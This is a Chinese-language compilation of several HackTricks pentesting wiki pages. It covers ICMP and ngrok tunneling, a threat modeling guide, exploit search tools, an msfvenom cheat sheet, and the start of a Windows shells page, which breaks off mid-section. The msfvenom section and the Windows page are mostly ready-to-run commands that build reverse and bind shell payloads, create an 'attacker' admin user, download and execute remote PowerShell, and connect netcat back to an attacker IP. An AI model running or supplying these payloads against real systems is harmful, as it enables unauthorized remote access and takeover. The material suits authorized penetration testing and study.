Proxychains 拦截 `gethostbyname` libc 调用，并通过 socks 代理隧道传输 tcp DNS 请求。默认情况下，proxychains 使用的 DNS 服务器是 4.2.2.2（硬编码）。要更改它，请编辑文件：*/usr/lib/proxychains3/proxyresolv* 并更改 IP。如果您在 Windows 环境中，可以设置域控制器的 IP。

## Go 中的隧道

<https://github.com/hotnops/gtunnel>

## ICMP 隧道

### Hans

<https://github.com/friedrich/hans>\
<https://github.com/albertzak/hanstunnel>

在两个系统中都需要 root 权限来创建 tun 适配器，并使用 ICMP 回显请求在它们之间传输数据。

```bash
./hans -v -f -s 1.1.1.1 -p P@ssw0rd #Start listening (1.1.1.1 is IP of the new vpn connection)
./hans -f -c <server_ip> -p P@ssw0rd -v
ping 1.1.1.100 #After a successful connection, the victim will be in the 1.1.1.100
```

### ptunnel-ng

[**从这里下载**](https://github.com/utoni/ptunnel-ng.git)。

```bash
# Generate it
sudo ./autogen.sh

# Server -- victim (needs to be able to receive ICMP)
sudo ptunnel-ng
# Client - Attacker
sudo ptunnel-ng -p <server_ip> -l <listen_port> -r <dest_ip> -R <dest_port>
# Try to connect with SSH through ICMP tunnel
ssh -p 2222 -l user 127.0.0.1
# Create a socks proxy through the SSH connection through the ICMP tunnel
ssh -D 9050 -p 2222 -l user 127.0.0.1
```

## ngrok

[**ngrok**](https://ngrok.com/)**是一个工具，可以通过一条命令将解决方案暴露到互联网上。** *暴露的URI类似于:* **UID.ngrok.io**

### 安装

* 创建一个账户：<https://ngrok.com/signup>
* 客户端下载：

```bash
tar xvzf ~/Downloads/ngrok-v3-stable-linux-amd64.tgz -C /usr/local/bin
chmod a+x ./ngrok
# Init configuration, with your token
./ngrok config edit
```

### 基本用法

**文档:** <https://ngrok.com/docs/getting-started/>.

*如果需要，还可以添加身份验证和TLS。*

#### TCP隧道

```bash
# Pointing to 0.0.0.0:4444
./ngrok tcp 4444
# Example of resulting link: 0.tcp.ngrok.io:12345
# Listen (example): nc -nvlp 4444
# Remote connect (example): nc $(dig +short 0.tcp.ngrok.io) 12345
```

#### 通过HTTP公开文件

```bash
./ngrok http file:///tmp/httpbin/
# Example of resulting link: https://abcd-1-2-3-4.ngrok.io/
```

#### 拦截HTTP调用

*用于XSS、SSRF、SSTI ...* 直接从stdout或在HTTP接口[http://127.0.0.1:4040](http://127.0.0.1:4000)中。

#### 隧道化内部HTTP服务

```bash
./ngrok http localhost:8080 --host-header=rewrite
# Example of resulting link: https://abcd-1-2-3-4.ngrok.io/
# With basic auth
./ngrok http localhost:8080 --host-header=rewrite --auth="myuser:mysuperpassword"
```

#### ngrok.yaml简单配置示例

它打开了3个隧道：

* 2个TCP
* 1个HTTP，从/tmp/httpbin/暴露静态文件

```yaml
tunnels:
mytcp:
addr: 4444
proto: tcptunne
anothertcp:
addr: 5555
proto: tcp
httpstatic:
proto: http
addr: file:///tmp/httpbin/
```

## 其他检查工具

* <https://github.com/securesocketfunneling/ssf>
* <https://github.com/z3APA3A/3proxy>

**尝试困难安全组**

<figure><img src="https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-dae1ef8c660e0243188462f22f417bbb1a2719d3%2Ftelegram-cloud-document-1-5159108904864449420.jpg?alt=media" alt=""><figcaption></figcaption></figure>

{% embed url="<https://discord.gg/tryhardsecurity>" %}

***

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

* 您在**网络安全公司**工作吗？ 想要在**HackTricks中宣传您的公司**？ 或者想要访问**PEASS的最新版本或下载HackTricks的PDF**？ 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 发现我们的独家[NFTs收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) **Discord群**]\(<https://discord.gg/hRep4RUj7f>) 或**电报群**]\(<https://t.me/peass>) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks)**和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)**提交PR来分享您的黑客技巧**。

</details>


# Threat Modeling

### [WhiteIntel](https://whiteintel.io)

<figure><img src="https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-878e43bb9c156ea00e2843c8fc47e5e4ebfbc581%2Fimage%20(1224).png?alt=media" alt=""><figcaption></figcaption></figure>

[**WhiteIntel**](https://whiteintel.io) 是一个由**暗网**支持的搜索引擎，提供**免费**功能，用于检查公司或其客户是否已受到**窃取恶意软件**的**侵害**。

WhiteIntel的主要目标是打击由信息窃取恶意软件导致的账户劫持和勒索软件攻击。

您可以访问他们的网站并免费尝试他们的引擎：

{% embed url="<https://whiteintel.io>" %}

***

## 威胁建模

欢迎来到HackTricks关于威胁建模的全面指南！探索这个关键的网络安全方面，我们在这里识别、理解并制定对抗系统潜在漏洞的策略。本文提供了一步一步的指南，包含了现实世界的示例、有用的软件和易于理解的解释。适用于初学者和有经验的从业者，希望加固其网络安全防御。

### 常用场景

1. **软件开发**：作为安全软件开发生命周期（SSDLC）的一部分，威胁建模有助于在开发的早期阶段**识别潜在的漏洞来源**。
2. **渗透测试**：渗透测试执行标准（PTES）框架要求在进行测试之前进行威胁建模以了解系统的漏洞。

### 威胁模型简介

威胁模型通常以图表、图像或其他形式的视觉展示来表示，展示应用程序的计划架构或现有构建。它类似于**数据流图**，但其关键区别在于其面向安全的设计。

威胁模型通常包含用红色标记的元素，表示潜在的漏洞、风险或障碍。为了简化风险识别过程，采用CIA（机密性、完整性、可用性）三元组，构成许多威胁建模方法的基础，STRIDE是其中最常见的之一。然而，选择的方法可能会根据具体的上下文和要求而有所不同。

### CIA三元组

CIA三元组是信息安全领域中广泛认可的模型，代表机密性、完整性和可用性。这三个支柱构成了许多安全措施和政策的基础，包括威胁建模方法。

1. **机密性**：确保数据或系统不被未经授权的个人访问。这是安全的核心方面，需要适当的访问控制、加密和其他措施来防止数据泄露。
2. **完整性**：数据在其生命周期中的准确性、一致性和可信度。这一原则确保数据不会被未经授权的方进行更改或篡改。通常涉及校验和哈希等数据验证方法。
3. **可用性**：确保数据和服务在需要时对授权用户可访问。这通常涉及冗余、容错和高可用性配置，以确保即使面临中断，系统也能继续运行。

### 威胁建模方法

1. **STRIDE**：由微软开发，STRIDE是**欺骗、篡改、否认、信息披露、服务拒绝和权限提升**的首字母缩写。每个类别代表一种威胁类型，这种方法通常用于程序或系统设计阶段，以识别潜在威胁。
2. **DREAD**：这是微软的另一种用于已识别威胁的风险评估方法。DREAD代表**破坏潜力、可重现性、可利用性、受影响用户和可发现性**。对这些因素进行评分，结果用于优先考虑已识别的威胁。
3. **PASTA**（攻击模拟和威胁分析过程）：这是一个七步骤的**以风险为中心**的方法。它包括定义和识别安全目标、创建技术范围、应用程序分解、威胁分析、漏洞分析和风险/分类评估。
4. **Trike**：这是一个以风险管理为重点的方法，专注于保护资产。它从**风险管理**的角度出发，查看威胁和漏洞。
5. **VAST**（视觉、敏捷和简单威胁建模）：这种方法旨在更易于访问，并集成到敏捷开发环境中。它结合了其他方法的元素，侧重于**威胁的视觉表示**。
6. **OCTAVE**（运营关键威胁、资产和漏洞评估）：由CERT协调中心开发，该框架旨在进行**组织风险评估而不是特定系统或软件**。

## 工具

有几种可用的工具和软件解决方案可**帮助**创建和管理威胁模型。以下是您可能考虑的一些工具。

### [SpiderSuite](https://github.com/3nock/SpiderSuite)

一款先进的跨平台、多功能GUI网络蜘蛛/爬虫，适用于网络安全专业人员。Spider Suite可用于攻击面映射和分析。

**用法**

1. 选择一个URL并爬取

<figure><img src="https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-9a30072dc008dea8ac9ecfd174d42da398148eb4%2Fthreatmodel_spidersuite_1.png?alt=media" alt=""><figcaption></figcaption></figure>

2. 查看图表

<figure><img src="https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-677044160faf84b1e63ab8255d4a452da5f3230e%2Fthreatmodel_spidersuite_2.png?alt=media" alt=""><figcaption></figcaption></figure>

### [OWASP Threat Dragon](https://github.com/OWASP/threat-dragon/releases)

来自OWASP的开源项目，Threat Dragon是一个包含系统图示和规则引擎以自动生成威胁/缓解措施的Web和桌面应用程序。

**用法**

1. 创建新项目

<figure><img src="https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-ecde927edd44271e11a799bbcea962996621cf96%2Fcreate_new_project_1.jpg?alt=media" alt=""><figcaption></figcaption></figure>

有时可能看起来像这样：

<figure><img src="https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-f553214e3d75e3e7b457920dcf65eac1ca652385%2F1_threatmodel_create_project.jpg?alt=media" alt=""><figcaption></figcaption></figure>

2. 启动新项目

<figure><img src="https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-42059a6fbabd44d04ea984ce176daabe3237f17a%2Flaunch_new_project_2.jpg?alt=media" alt=""><figcaption></figcaption></figure>

3. 保存新项目

<figure><img src="https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-fe86fdc2007f36c3856d33760bd90281b8f05b25%2Fsave_new_project.jpg?alt=media" alt=""><figcaption></figcaption></figure>

4. 创建您的模型

您可以使用SpiderSuite爬虫等工具来获得灵感，一个基本模型可能如下所示

<figure><img src="https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-aee249ee51278c3d613a529c1d90b5b72ab6d2e5%2F0_basic_threat_model.jpg?alt=media" alt=""><figcaption></figcaption></figure>

对实体的简要解释：

* 过程（实体本身，如Web服务器或Web功能）
* 演员（人员，如网站访问者、用户或管理员）
* 数据流线（交互指示器）
* 信任边界（不同的网络段或范围。）
* 存储（存储数据的地方，如数据库）

5. 创建威胁（步骤1）

首先，您必须选择要向其添加威胁的层

<figure><img src="https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-419d88e2e5d5284efe87a267c04dabf271ac4a5a%2F3_threatmodel_chose-threat-layer.jpg?alt=media" alt=""><figcaption></figcaption></figure>

现在您可以创建威胁

<figure><img src="https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-e00d3b127a6cb15be36c614b2f7d11f83fb8c194%2F4_threatmodel_create-threat.jpg?alt=media" alt=""><figcaption></figcaption></figure>

请注意，演员威胁和过程威胁之间存在区别。如果您向演员添加威胁，那么您只能选择“欺骗”和“否认”。但在我们的示例中，我们向过程实体添加威胁，因此我们将在威胁创建框中看到这一点：

<figure><img src="https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-fe1cdc5637cb93910dcafe0d5578d8548ab227a0%2F2_threatmodel_type-option.jpg?alt=media" alt=""><figcaption></figcaption></figure>

6. 完成

现在您完成的模型应该看起来像这样。这就是您如何使用OWASP Threat Dragon创建简单的威胁模型。

<figure><img src="https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-7848461b12e88d93f02b089c1400ea40d4db5735%2Fthreat_model_finished.jpg?alt=media" alt=""><figcaption></figcaption></figure>

\### \[Microsoft威胁建模工具]\(<https://aka.ms/threatmodelingtool>)

这是微软提供的免费工具，可帮助在软件项目的设计阶段发现威胁。它使用STRIDE方法论，特别适用于在微软平台上开发的人员。

### [WhiteIntel](https://whiteintel.io)

<figure><img src="https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-878e43bb9c156ea00e2843c8fc47e5e4ebfbc581%2Fimage%20(1224).png?alt=media" alt=""><figcaption></figcaption></figure>

[**WhiteIntel**](https://whiteintel.io) 是一个由**暗网**支持的搜索引擎，提供免费功能，用于检查公司或其客户是否受到**窃取恶意软件**的**威胁**。

WhiteIntel的主要目标是打击由窃取信息恶意软件导致的账户劫持和勒索软件攻击。

您可以访问他们的网站并免费尝试他们的引擎：

{% embed url="<https://whiteintel.io>" %}


# Search Exploits

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索我们的独家\[**NFTs**]收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

<figure><img src="https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-b98c9fbbc98929f4f21cab6c8d6d02d3844d23bd%2Fimage%20(3)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1).png?alt=media" alt=""><figcaption></figcaption></figure>

\
使用[**Trickest**](https://trickest.com/?utm_campaign=hacktrics\&utm_medium=banner\&utm_source=hacktricks)可以轻松构建和**自动化工作流程**，使用世界上**最先进**的社区工具。\
立即获取访问权限：

{% embed url="<https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks>" %}

### 浏览器

始终在“google”或其他搜索引擎中搜索：**\<service\_name> \[version] exploit**

您还可以尝试从[https://exploits.shodan.io/](https://exploits.shodan.io)使用**shodan漏洞搜索**。

### Searchsploit

用于从控制台中搜索**exploitdb服务**的漏洞。

```bash
#Searchsploit tricks
searchsploit "linux Kernel" #Example
searchsploit apache mod_ssl #Other example
searchsploit -m 7618 #Paste the exploit in current directory
searchsploit -p 7618[.c] #Show complete path
searchsploit -x 7618[.c] #Open vi to inspect the exploit
searchsploit --nmap file.xml #Search vulns inside an nmap xml result
```

### Pompem

<https://github.com/rfunix/Pompem> 是另一个用于搜索漏洞利用的工具

### MSF-Search

```bash
msf> search platform:windows port:135 target:XP type:exploit
```

### PacketStorm

如果没有找到任何内容，请尝试在 [https://packetstormsecurity.com/](https://packetstormsecurity.com) 中搜索使用的技术

### Vulners

您还可以在 vulners 数据库中搜索：[https://vulners.com/](https://vulners.com)

### Sploitus

这将在其他数据库中搜索漏洞利用：[https://sploitus.com/](https://sploitus.com)

<figure><img src="https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-78abb7891633b1e8147b4e743e4f00af375d3cd6%2Fimage%20(3)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1).png?alt=media" alt=""><figcaption></figcaption></figure>

\
使用 [**Trickest**](https://trickest.com/?utm_campaign=hacktrics\&utm_medium=banner\&utm_source=hacktricks) 可以轻松构建和 **自动化工作流程**，使用世界上 **最先进** 的社区工具。\
立即获取访问权限：

{% embed url="<https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks>" %}

<details>

<summary><strong>从零开始学习 AWS 黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS 红队专家）</strong></a><strong>！</strong></summary>

支持 HackTricks 的其他方式：

* 如果您想在 HackTricks 中看到您的 **公司广告** 或 **下载 PDF 版本的 HackTricks**，请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 探索 [**PEASS 家族**](https://opensea.io/collection/the-peass-family)，我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。

</details>


# Shells (Linux, Windows, MSFVenom)

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

## [**Shells - Linux**](/generic-methodologies-and-resources/shells/linux)

## [**Shells - Windows**](/generic-methodologies-and-resources/shells/windows)

## [**MSFVenom - CheatSheet**](/generic-methodologies-and-resources/shells/msfvenom)

## [**Full TTYs**](/generic-methodologies-and-resources/shells/full-ttys)

## **自动生成的shell**

* [**https://reverse-shell.sh/**](https://reverse-shell.sh/)
* [**https://www.revshells.com/**](https://www.revshells.com/)
* [**https://github.com/ShutdownRepo/shellerator**](https://github.com/ShutdownRepo/shellerator)
* [**https://github.com/0x00-0x00/ShellPop**](https://github.com/0x00-0x00/ShellPop)
* [**https://github.com/cybervaca/ShellReverse**](https://github.com/cybervaca/ShellReverse)
* [**https://liftoff.github.io/pyminifier/**](https://liftoff.github.io/pyminifier/)
* [**https://github.com/xct/xc/**](https://github.com/xct/xc/)
* [**https://weibell.github.io/reverse-shell-generator/**](https://weibell.github.io/reverse-shell-generator/)
* [**https://github.com/t0thkr1s/revshellgen**](https://github.com/t0thkr1s/revshellgen)
* [**https://github.com/mthbernardes/rsg**](https://github.com/mthbernardes/rsg)

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>


# MSFVenom - CheatSheet

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

<figure><img src="https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-7ebaebfa37dac753bd916c91429befb49dfd6309%2Fimage%20(1)%20(3)%20(1).png?alt=media" alt=""><figcaption></figcaption></figure>

加入[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)服务器，与经验丰富的黑客和赏金猎人交流！

**黑客见解**\
参与深入探讨黑客的刺激和挑战的内容

**实时黑客新闻**\
通过实时新闻和见解及时了解快节奏的黑客世界

**最新公告**\
随时了解最新的赏金任务发布和重要平台更新

**加入我们的** [**Discord**](https://discord.com/invite/N3FrSbmwdy)，立即与顶尖黑客合作！

***

## 基本的msfvenom

`msfvenom -p <PAYLOAD> -e <ENCODER> -f <FORMAT> -i <ENCODE COUNT> LHOST=<IP>`

也可以使用`-a`来指定架构或`--platform`

## 列表

```bash
msfvenom -l payloads #Payloads
msfvenom -l encoders #Encoders
```

## 创建 shellcode 时的常见参数

```bash
-b "\x00\x0a\x0d"
-f c
-e x86/shikata_ga_nai -i 5
EXITFUNC=thread
PrependSetuid=True #Use this to create a shellcode that will execute something with SUID
```

## **Windows**

### **反向Shell**

{% code overflow="wrap" %}

```
```

{% endcode %}

```bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > reverse.exe
```

### 绑定Shell

{% code overflow="wrap" %}

```
```

{% endcode %}

```bash
msfvenom -p windows/meterpreter/bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f exe > bind.exe
```

### 创建用户

{% code overflow="wrap" %}

```
```

{% endcode %}

```bash
msfvenom -p windows/adduser USER=attacker PASS=attacker@123 -f exe > adduser.exe
```

### CMD Shell

{% code overflow="wrap" %}

```
```

{% endcode %}

```bash
msfvenom -p windows/shell/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > prompt.exe
```

### **执行命令**

{% code overflow="wrap" %}

```
```

{% endcode %}

```bash
msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://IP/nishang.ps1')\"" -f exe > pay.exe
msfvenom -a x86 --platform Windows -p windows/exec CMD="net localgroup administrators shaun /add" -f exe > pay.exe
```

### 编码器

{% code overflow="wrap" %}

```
```

{% endcode %}

```bash
msfvenom -p windows/meterpreter/reverse_tcp -e shikata_ga_nai -i 3 -f exe > encoded.exe
```

### 嵌入到可执行文件中

{% code overflow="wrap" %}

```
```

{% endcode %}

```bash
msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -x /usr/share/windows-binaries/plink.exe -f exe -o plinkmeter.exe
```

## Linux Payloads

### 反向Shell

```bash
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f elf > reverse.elf
msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f elf > shell.elf
```

### 绑定Shell

{% code overflow="wrap" %}

```
```

{% endcode %}

```bash
msfvenom -p linux/x86/meterpreter/bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f elf > bind.elf
```

### SunOS (Solaris)

{% code overflow="wrap" %}

```bash
msfvenom --platform=solaris --payload=solaris/x86/shell_reverse_tcp LHOST=(ATTACKER IP) LPORT=(ATTACKER PORT) -f elf -e x86/shikata_ga_nai -b '\x00' > solshell.elf
```

{% endcode %}

### NodeJS

```bash
msfvenom -p nodejs/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port)
```

## **脚本语言有效载荷**

### **Perl**

{% code overflow="wrap" %}

```
```

{% endcode %}

```bash
msfvenom -p cmd/unix/reverse_perl LHOST=(IP Address) LPORT=(Your Port) -f raw > reverse.pl
```

### **Python**

{% code overflow="wrap" %}

```
```

{% endcode %}

```bash
msfvenom -p cmd/unix/reverse_python LHOST=(IP Address) LPORT=(Your Port) -f raw > reverse.py
```

### **Bash**

{% code overflow="wrap" %}

```bash
msfvenom -p cmd/unix/reverse_bash LHOST=<Local IP Address> LPORT=<Local Port> -f raw > shell.sh
```

{% endcode %}

<figure><img src="https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-7ebaebfa37dac753bd916c91429befb49dfd6309%2Fimage%20(1)%20(3)%20(1).png?alt=media" alt=""><figcaption></figcaption></figure>

加入[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)服务器，与经验丰富的黑客和赏金猎人交流！

**黑客见解**\
参与深入探讨黑客行为的刺激和挑战的内容

**实时黑客新闻**\
通过实时新闻和见解及时了解快节奏的黑客世界

**最新公告**\
了解最新的赏金任务发布和重要平台更新

**加入我们的** [**Discord**](https://discord.com/invite/N3FrSbmwdy) **，立即与顶尖黑客合作！**

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>


# Shells - Windows

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

其他支持HackTricks的方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

**Try Hard Security Group**

<figure><img src="https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-dae1ef8c660e0243188462f22f417bbb1a2719d3%2Ftelegram-cloud-document-1-5159108904864449420.jpg?alt=media" alt=""><figcaption></figcaption></figure>

{% embed url="<https://discord.gg/tryhardsecurity>" %}

***

## Lolbas

页面[lolbas-project.github.io](https://lolbas-project.github.io/)是为Windows准备的，就像<https://gtfobins.github.io/>是为Linux准备的。\
显然，在Windows中**没有SUID文件或sudo权限**，但了解一些**二进制文件**如何（被）滥用以执行某种意外操作，比如**执行任意代码**是很有用的。

## NC

```bash
nc.exe -e cmd.exe <Attacker_IP> <PORT>
```

## SBD

